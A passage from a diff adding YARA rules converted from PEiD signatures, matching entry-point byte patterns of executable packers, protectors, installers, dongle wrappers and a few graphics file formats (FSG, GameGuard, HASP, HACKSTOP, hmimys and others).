+        $a = {BE A4 01 40 00 AD 93 AD 97 AD 56 96 B2 80 A4 B6 80 FF 13 73 F9 33 C9 FF 13 73 16 33 C0 FF 13 73 1F B6 80 41 B0 10 FF 13 12 C0 73 FA 75 3C AA EB E0 FF 53 08 02 F6 83 D9 01 75 0E FF 53 04 EB 26 AC D1 E8 74 2F 13 C9 EB 1A 91 48 C1 E0 08 AC FF 53 04 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B6 00 56 8B F7 2B F0 F3 A4 5E EB 9D 8B D6 5E AD 48 74 0A 79 02 AD 50 56 8B F2 97 EB 87 AD 93 5E 46 AD 97 56 FF 13 95 AC 84 C0 75 FB FE 0E 74 F0 79 05 46 AD 50 EB 09 FE 0E 0F 84 ?? ?? ?? FF 56 55 FF 53 04 AB EB E0 33 C9 41 FF 13 13 C9 FF 13 72 F8 C3 02 D2 75 05 8A 16 46 12 D2 C3 ?? ?? ?? 00 00 00 00 00 00 00 00 00 54 01 00 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 61 01 00 00 6F 01 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00840_FSG_v1_33_
+{
+    meta:
+        description = "[FSG v1.33]"
+        ep_only = "true"
+    strings:
+        $a = {BE A4 01 40 00 AD 93 AD 97 AD 56 96 B2 80 A4 B6 80 FF 13 73}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00841_FSG_v1_3_
+{
+    meta:
+        description = "[FSG v1.3]"
+        ep_only = "true"
+    strings:
+        $a = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? ?? 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 00 00 00 EB 28 AC D1 E8 74 41 13 C9 EB 1C 91 48 C1 E0 08 AC E8 22 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 96 33 C9 41 FF 54 24 04 13 C9 FF 54 24 04 72 F4 C3 5F 5B 0F B7 3B 4F 74 08 4F 74 13 C1 E7 0C EB 07 8B 7B 02 57 83 C3 04 43 43 E9 52 FF FF FF 5F BB ?? ?? ?? ?? 47 8B 37 AF 57 FF 13 95 33 C0 AE 75 FD FE 0F 74 EF FE}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00842_FSG_v1_3_
+{
+    meta:
+        description = "[FSG v1.3]"
+        ep_only = "false"
+    strings:
+        $a = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? ?? 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 00 00 00 EB 28 AC D1 E8 74 41 13 C9 EB 1C 91 48 C1 E0 08 AC E8 22 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 96 33 C9 41 FF 54 24 04 13 C9 FF 54 24 04 72 F4 C3 5F 5B 0F B7 3B 4F 74 08 4F 74 13 C1 E7 0C EB 07 8B 7B 02 57 83 C3 04 43 43 E9 52 FF FF FF 5F BB ?? ?? ?? ?? 47 8B 37 AF 57 FF 13 95 33 C0 AE 75 FD FE ?? 74 EF FE}
+    condition:
+        $a
+}
+
+rule PEiD_00843_FSG_v2_0____bart_xt_
+{
+    meta:
+        description = "[FSG v2.0 -> bart/xt]"
+        ep_only = "true"
+    strings:
+        $a = {87 25 ?? ?? ?? 00 61 94 55 A4 B6 80 FF 13}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00844_FSG_v2_0_
+{
+    meta:
+        description = "[FSG v2.0]"
+        ep_only = "false"
+    strings:
+        $a = {87 25 ?? ?? ?? ?? 61 94 55 A4 B6 80 FF 13 73 F9 33 C9 FF 13 73 16 33 C0 FF 13 73 1F B6 80 41 B0 10 FF 13 12 C0 73 FA 75}
+    condition:
+        $a
+}
+
+rule PEiD_00845_Fuck_n_Joy_1_0c____UsAr_
+{
+    meta:
+        description = "[Fuck'n'Joy 1.0c -> UsAr]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED D8 05 40 00 FF 74 24 20 E8 8C 02 00 00 0B C0 0F 84 2C 01 00 00 89 85 6C 08 40 00 8D 85 2F 08 40 00 50 FF B5 6C 08 40 00 E8 EF 02 00 00 0B C0 0F 84 0C 01 00 00 89 85 3B 08 40 00 8D 85 3F 08 40 00 50 FF B5 6C 08 40 00 E8 CF 02 00}
+    condition:
+        $a
+}
+
+rule PEiD_00846_Fuck_n_Joy_v1_0c____UsAr_
+{
+    meta:
+        description = "[Fuck'n'Joy v1.0c -> UsAr]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED D8 05 40 00 FF 74 24 20 E8 8C 02 00 00 0B C0 0F 84 2C 01 00 00 89 85 6C 08 40 00 8D 85 2F 08 40 00 50 FF B5 6C 08 40 00 E8 EF 02 00 00 0B C0 0F 84 0C 01 00 00 89 85 3B 08 40 00 8D 85 3F 08 40 00 50 FF B5 6C 08 40 00 E8 CF 02 00 00 0B C0 0F 84 EC 00 00 00 89 85 4D 08 40 00 8D 85 51 08 40 00 50 FF B5 6C 08 40 00 E8 AF 02 00 00 0B C0 0F 84 CC 00 00 00 89 85 5C 08 40 00 8D 85 67 07 40 00 E8 7B 02 00 00 8D B5 C4 07 40 00 56 6A 64 FF 95 74 07 40 00 46 80 3E 00 75 FA C7 06 74 6D 70 2E 83 C6 04 C7 06 65 78 65 00 8D 85 36 07 40 00 E8 4C 02 00 00 33 DB 53 53 6A 02 53 53 68 00 00 00 40 8D 85 C4 07 40 00 50 FF 95 74 07 40 00 89 85 78 07 40 00 8D 85 51 07 40 00 E8 21 02 00 00 6A 00 8D 85 7C 07 40 00 50 68 00 ?? ?? 00 8D 85 F2 09 40 00 50 FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00847_Fusion_1_0____jaNooNi_
+{
+    meta:
+        description = "[Fusion 1.0 -> jaNooNi]"
+        ep_only = "true"
+    strings:
+        $a = {68 04 30 40 00 68 04 30 40 00 E8 09 03 00 00 68 04 30 40 00 E8 C7 02 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00848_G_X_Protector_1_2____Guru_eXe_
+{
+    meta:
+        description = "[G!X Protector 1.2 -> Guru.eXe]"
+        ep_only = "true"
+    strings:
+        $a = {60 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00849_GameGuard___nProtect_
+{
+    meta:
+        description = "[GameGuard - nProtect]"
+        ep_only = "true"
+    strings:
+        $a = {31 FF 74 06 61 E9 4A 4D 50 30 5A BA 7D 00 00 00 80 7C 24 08 01 E9 00 00 00 00 60 BE ?? ?? ?? ?? 31 FF 74 06 61 E9 4A 4D 50 30 8D BE ?? ?? ?? ?? 31 C9 74 06 61 E9 4A 4D 50 30 B8 7D 00 00 00 39 C2 B8 4C 00 00 00 F7 D0 75 3F 64 A1 30 00 00 00 85 C0 78 23 8B}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00850_GameGuard___nProtect_
+{
+    meta:
+        description = "[GameGuard - nProtect]"
+        ep_only = "true"
+    strings:
+        $a = {31 FF 74 06 61 E9 4A 4D 50 30 5A BA 7D 00 00 00 80 7C 24 08 01 E9 00 00 00 00 60 BE ?? ?? ?? ?? 31 FF 74 06 61 E9 4A 4D 50 30 8D BE ?? ?? ?? ?? 31 C9 74 06 61 E9 4A 4D 50 30 B8 7D 00 00 00 39 C2 B8 4C 00 00 00 F7 D0 75 3F 64 A1 30 00 00 00 85 C0 78 23 8B 40 0C 8B 40 0C C7 40 20 00 10 00 00 64 A1 18 00 00 00 8B 40 30 0F B6 40 02 85 C0 75 16 E9 12 00 00 00 31 C0 64 A0 20 00 00 00 85 C0 75 05 E9 01 00 00 00 61 57 83 CD FF EB 0B 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00851_GameGuard_v2006_5_x_x____dll__
+{
+    meta:
+        description = "[GameGuard v2006.5.x.x (*.dll)]"
+        ep_only = "true"
+    strings:
+        $a = {31 FF 74 06 61 E9 4A 4D 50 30 BA 4C 00 00 00 80 7C 24 08 01 0F 85 ?? 01 00 00 60 BE 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00852_GameGuard_v2006_5_x_x____exe__
+{
+    meta:
+        description = "[GameGuard v2006.5.x.x (*.exe)]"
+        ep_only = "true"
+    strings:
+        $a = {31 FF 74 06 61 E9 4A 4D 50 30 5A BA 7D 00 00 00 80 7C 24 08 01 E9 00 00 00 00 60 BE 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00853_Gamehouse_Media_Protector_Version_Unknown_
+{
+    meta:
+        description = "[Gamehouse Media Protector Version Unknown]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? 6A 00 FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? 00 00 00 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00854_Gardian_Angel_1_0_
+{
+    meta:
+        description = "[Gardian Angel 1.0]"
+        ep_only = "true"
+    strings:
+        $a = {06 8C C8 8E D8 8E C0 FC BF ?? ?? EB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00855_Gentee_Installer_Custom_
+{
+    meta:
+        description = "[Gentee Installer Custom]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 14 04 00 00 53 56 57 6A 00 FF 15 08 41 40 00 68 00 50 40 00 FF 15 04 41 40 00 85 C0 74 29 6A 00 A1 00 20 40 00 ?? ?? ?? ?? 41 40 00 8B F0 6A 06 56 FF 15 1C 41 40 00 6A 03 56 FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00856_GHF_Protector__pack_only_____GPcH_
+{
+    meta:
+        description = "[GHF Protector (pack only) -> GPcH]"
+        ep_only = "true"
+    strings:
+        $a = {60 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF 10 68 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? FF 10 68 00 00 00 00 6A 40 FF D0 89 05 ?? ?? ?? ?? 89 C7 BE ?? ?? ?? ?? 60 FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00857_GHF_Protector__pack_only_____GPcH_
+{
+    meta:
+        description = "[GHF Protector (pack only) -> GPcH]"
+        ep_only = "true"
+    strings:
+        $a = {60 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF 10 68 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? FF 10 68 00 00 00 00 6A 40 FF D0 89 05 ?? ?? ?? ?? 89 C7 BE ?? ?? ?? ?? 60 FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 10 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 29 D9 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 11 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 89 E8 B3 01 56 89 FE 29 C6 F3 A4 5E EB 8E 00 D2 75 05 8A 16 46 10 D2 C3 31 C9 41 E8 EE FF FF FF 11 C9 E8 E7 FF FF FF 72 F2 C3 61 B9 FC FF FF FF 8B 1C 08 89 99 ?? ?? ?? ?? E2 F5 90 90 BA ?? ?? ?? ?? BE ?? ?? ?? ?? 01 D6 8B 46 0C 85 C0 0F 84 87 00 00 00 01 D0 89 C3 50 B8 ?? ?? ?? ?? FF 10 85 C0 75 08 53 B8 ?? ?? ?? ?? FF 10 89 05 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? 00 00 00 00 BA ?? ?? ?? ?? 8B 06 85 C0 75 03 8B 46 10 01 D0 03 05 ?? ?? ?? ?? 8B 18 8B 7E 10 01 D7 03 3D ?? ?? ?? ?? 85 DB 74 2B F7 C3 00 00 00 80 75 04 01 D3 43 43 81 E3 FF FF FF 0F 53 FF 35 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF 10 89 07 83 05 ?? ?? ?? ?? 04 EB AE 83 C6 14 BA ?? ?? ?? ?? E9 6E FF FF FF 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF 10 68 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? FF 10 8B 15 ?? ?? ?? ?? 52 FF D0 61 BA ?? ?? ?? ?? FF E2 90 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00858_GHF_Protector__pack____GPcH_
+{
+    meta:
+        description = "[GHF Protector (pack) / GPcH]"
+        ep_only = "true"
+    strings:
+        $a = {60 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF 10 68 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? FF 10 68 00 A0 00 00 6A 40 FF D0 89 05 ?? ?? ?? ?? 89 C7 BE ?? ?? ?? ?? 60 FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00859_Gleam_1_00_
+{
+    meta:
+        description = "[Gleam 1.00]"
+        ep_only = "false"
+    strings:
+        $a = {83 EC 0C 53 56 57 E8 24 02 00}
+    condition:
+        $a
+}
+
+rule PEiD_00860_Go32Stub_v_2_00_DOS_Extender_
+{
+    meta:
+        description = "[Go32Stub v.2.00 DOS-Extender]"
+        ep_only = "true"
+    strings:
+        $a = {0E 1F 8C 1E ?? ?? 8C 06 ?? ?? FC B4 30 CD 21 80}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00861_Go32Stub_v_2_00T_DOS_Extender_
+{
+    meta:
+        description = "[Go32Stub v.2.00T DOS-Extender]"
+        ep_only = "true"
+    strings:
+        $a = {0E 1F 8C 1E ?? ?? 8C 06 ?? ?? FC B4 30 CD 21 3C}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00862_Goat_s_PE_Mutilator_1_6_
+{
+    meta:
+        description = "[Goat's PE Mutilator 1.6]"
+        ep_only = "true"
+    strings:
+        $a = {E8 EA 0B 00 00 ?? ?? ?? 8B 1C 79 F6 63 D8 8D 22 B0 BF F6 49 08 C3 02 BD 3B 6C 29 46 13 28 5D 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00863_Goat_s_PE_Mutilator_1_6_
+{
+    meta:
+        description = "[Goat's PE Mutilator 1.6]"
+        ep_only = "true"
+    strings:
+        $a = {E8 EA 0B 00 00 ?? ?? ?? 8B 1C 79 F6 63 D8 8D 22 B0 BF F6 49 08 C3 02 BD 3B 6C 29 46 13 28 5D 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0F 53 0F DE 0F 55 0F 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00864_Goats_Mutilator_v1_6____Goat__e0f_
+{
+    meta:
+        description = "[Goats Mutilator v1.6 -> Goat/_e0f]"
+        ep_only = "true"
+    strings:
+        $a = {E8 EA 0B 00 00 ?? ?? ?? 8B 1C 79 F6 63 D8 8D 22 B0 BF F6 49 08 C3 02 BD 3B 6C 29 46 13 28 5D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00865_GP_Install_v5_0_3_32_
+{
+    meta:
+        description = "[GP-Install v5.0.3.32]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 33 C9 51 51 51 51 51 51 51 53 56 57 B8 C4 1C 41 00 E8 6B 3E FF FF 33 C0 55 68 76 20 41 00 64 FF 30 64 89 20 BA A0 47 41 00 33 C0 E8 31 0A FF FF 33 D2 A1 A0}
+    condition:
+        $a
+}
+
+rule PEiD_00866_Guardant_Stealth_aka_Novex_Dongle_
+{
+    meta:
+        description = "[Guardant Stealth aka Novex Dongle]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 60 E8 51 FF FF FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00867_HACKSTOP_v1_00_
+{
+    meta:
+        description = "[HACKSTOP v1.00]"
+        ep_only = "true"
+    strings:
+        $a = {FA BD ?? ?? FF E5 6A 49 48 0C ?? E4 ?? 3F 98 3F}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00868_HACKSTOP_v1_10__v1_11_
+{
+    meta:
+        description = "[HACKSTOP v1.10, v1.11]"
+        ep_only = "true"
+    strings:
+        $a = {B4 30 CD 21 86 E0 3D ?? ?? 73 ?? B4 2F CD 21 B0 ?? B4 4C CD 21 50 B8 ?? ?? 58 EB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00869_HACKSTOP_v1_10p1_
+{
+    meta:
+        description = "[HACKSTOP v1.10p1]"
+        ep_only = "true"
+    strings:
+        $a = {B4 30 CD 21 86 E0 3D 00 03 73 ?? B4 2F CD 21 B4 2A CD 21 B4 2C CD 21 B0 FF B4 4C CD 21 50 B8 ?? ?? 58 EB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00870_HACKSTOP_v1_11c_
+{
+    meta:
+        description = "[HACKSTOP v1.11c]"
+        ep_only = "true"
+    strings:
+        $a = {B4 30 CD 21 86 E0 3D ?? ?? 73 ?? B4 ?? CD 21 B0 ?? B4 4C CD 21 53 BB ?? ?? 5B EB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00871_HACKSTOP_v1_13_
+{
+    meta:
+        description = "[HACKSTOP v1.13]"
+        ep_only = "true"
+    strings:
+        $a = {52 B8 ?? ?? 1E CD 21 86 E0 3D ?? ?? 73 ?? CD 20 0E 1F B4 09 E8 ?? ?? 24 ?? EA}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00872_HACKSTOP_v1_18_
+{
+    meta:
+        description = "[HACKSTOP v1.18]"
+        ep_only = "true"
+    strings:
+        $a = {52 BA ?? ?? 5A EB ?? 9A ?? ?? ?? ?? 30 CD 21 ?? ?? ?? FD 02 ?? ?? CD 20 0E 1F 52 BA ?? ?? 5A EB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00873_HACKSTOP_v1_19_
+{
+    meta:
+        description = "[HACKSTOP v1.19]"
+        ep_only = "true"
+    strings:
+        $a = {52 BA ?? ?? 5A EB ?? 9A ?? ?? ?? ?? 30 CD 21 ?? ?? ?? D6 02 ?? ?? CD 20 0E 1F 52 BA ?? ?? 5A EB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00874_Hardlock_dongle__Alladin__
+{
+    meta:
+        description = "[Hardlock dongle (Alladin)]"
+        ep_only = "true"
+    strings:
+        $a = {5C 5C 2E 5C 48 41 52 44 4C 4F 43 4B 2E 56 58 44 00 00 00 00 5C 5C 2E 5C 46 45 6E 74 65 44 65 76}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00875_Hasp_4_envelope_dongle__Alladin__
+{
+    meta:
+        description = "[Hasp 4 envelope dongle (Alladin)]"
+        ep_only = "true"
+    strings:
+        $a = {10 02 D0 51 0F 00 83}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00876_Hasp_dongle__Alladin__
+{
+    meta:
+        description = "[Hasp dongle (Alladin)]"
+        ep_only = "true"
+    strings:
+        $a = {50 53 51 52 57 56 8B 75 1C 8B 3E ?? ?? ?? ?? ?? 8B 5D 08 8A FB ?? ?? 03 5D 10 8B 45 0C 8B 4D 14 8B 55 18 80 FF 32}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00877_HASP_HL_Protection_1_X____Aladdin_
+{
+    meta:
+        description = "[HASP HL Protection 1.X -> Aladdin]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 53 56 57 60 8B C4 A3 ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? 00 74 15 8B 0D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 83 C4 04 E9 A5 00 00 00 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15}
+    condition:
+        $a
+}
+
+rule PEiD_00878_HASP_HL_Protection_V1_X____Aladdin___Sign_by_fly_
+{
+    meta:
+        description = "[HASP HL Protection V1.X -> Aladdin ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 53 56 57 60 8B C4 A3 ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? 00 74 15 8B 0D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 83 C4 04 E9 A5 00 00 00 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B 15}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00879_HEALTH_v_5_1_by_Muslim_M_Polyak_
+{
+    meta:
+        description = "[HEALTH v.5.1 by Muslim M.Polyak]"
+        ep_only = "true"
+    strings:
+        $a = {1E E8 ?? ?? 2E 8C 06 ?? ?? 2E 89 3E ?? ?? 8B D7 B8 ?? ?? CD 21 8B D8 0E 1F E8 ?? ?? 06 57 A1 ?? ?? 26}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00880_Hide_PE_1_01____BGCorp_
+{
+    meta:
+        description = "[Hide PE 1.01 -> BGCorp]"
+        ep_only = "true"
+    strings:
+        $a = {?? BA ?? ?? ?? 00 B8 ?? ?? ?? ?? 89 02 83 C2 04 B8 ?? ?? ?? ?? 89 02 83 C2 04 B8 ?? ?? ?? ?? 89 02 83 C2 F8 FF E2 0D 0A 2D 3D 5B 20 48 69 64 65 50 45 20 62 79 20 42 47 43 6F 72 70 20 5D 3D 2D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00881_Hide_Protect_1_016____SoftWar_Company_
+{
+    meta:
+        description = "[Hide&Protect 1.016 -> SoftWar Company]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 E9 D8 ?? 05 00 95 ?? 53 00 95 4A 50 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00882_Hide_Protect_V1_0X___SoftWar_Company_
+{
+    meta:
+        description = "[Hide&Protect V1.0X-> SoftWar Company]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 E9 D8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00883_Histogram_graphics_file_
+{
+    meta:
+        description = "[Histogram graphics file]"
+        ep_only = "false"
+    strings:
+        $a = {6D 68 77 61 6E 68 00 04 01 02 01 02}
+    condition:
+        $a
+}
+
+rule PEiD_00884_Hitachi_Raster_Format_graphics_format_
+{
+    meta:
+        description = "[Hitachi Raster Format graphics format]"
+        ep_only = "false"
+    strings:
+        $a = {43 41 44 43 2F 4B 52 20 52 53 54}
+    condition:
+        $a
+}
+
+rule PEiD_00885_hmimys_protect_0_1____hmimys_
+{
+    meta:
+        description = "[hmimys protect 0.1 -> hmimys]"
+        ep_only = "false"
+    strings:
+        $a = {5E 83 C6 64 AD 50 AD 50 83 EE 6C AD 50 AD 50 AD 50 AD 50 AD 50 E8}
+    condition:
+        $a
+}
+
+rule PEiD_00886_hmimys_Protect_v1_0_
+{
+    meta:
+        description = "[hmimys Protect v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {E8 BA 00 00 00 ?? 00 00 00 00 ?? ?? 00 00 10 40 00 ?? ?? ?? 00 ?? ?? ?? 00 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? 00 00 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00887_hmimys_Protect_v1_0_
+{
+    meta:
+        description = "[hmimys Protect v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {E8 BA 00 00 00 ?? 00 00 00 00 ?? ?? 00 00 10 40 00 ?? ?? ?? 00 ?? ?? ?? 00 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? 00 00 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 5E 83 C6 64 AD 50 AD 50 83 EE 6C AD 50 AD 50 AD 50 AD 50 AD 50 E8 E7 07 00 00 AD 8B DE 8B F0 83 C3 44 AD 85 C0 74 32 8B F8 56 FF 13 8B E8 AC 84 C0 75 FB AC 84 C0 74 EA 4E AD A9 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00888_hmimys_Protect_v1_0_
+{
+    meta:
+        description = "[hmimys Protect v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {E8 BA 00 00 00 ?? 00 00 00 00 ?? ?? 00 00 10 40 00 ?? ?? ?? 00 ?? ?? ?? 00 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? 00 00 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 5E 83 C6 64 AD 50 AD 50 83 EE 6C AD 50 AD 50 AD 50 AD 50 AD 50 E8 E7 07 00 00 AD 8B DE 8B F0 83 C3 44 AD 85 C0 74 32 8B F8 56 FF 13 8B E8 AC 84 C0 75 FB AC 84 C0 74 EA 4E AD A9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00889_hmimys_s_PE_Pack_0_1____hmimys_
+{
+    meta:
+        description = "[hmimys's PE-Pack 0.1 -> hmimys]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 5D 83 ED 05 6A 00 FF 95 E1 0E 00 00 89 85 85 0E 00 00 8B 58 3C 03 D8 81 C3 F8 00 00 00 80 AD 89 0E 00 00 01 89 9D 63 0F 00 00 8B 4B 0C 03 8D 85 0E 00 00 8B 53 08 80 BD 89 0E 00 00 00 75 0C 03 8D 91 0E 00 00 2B 95 91 0E 00 00 89 8D 57 0F 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00890_hmimys_s_PE_Pack_0_1____hmimys_
+{
+    meta:
+        description = "[hmimys's PE-Pack 0.1 -> hmimys]"
+        ep_only = "true"
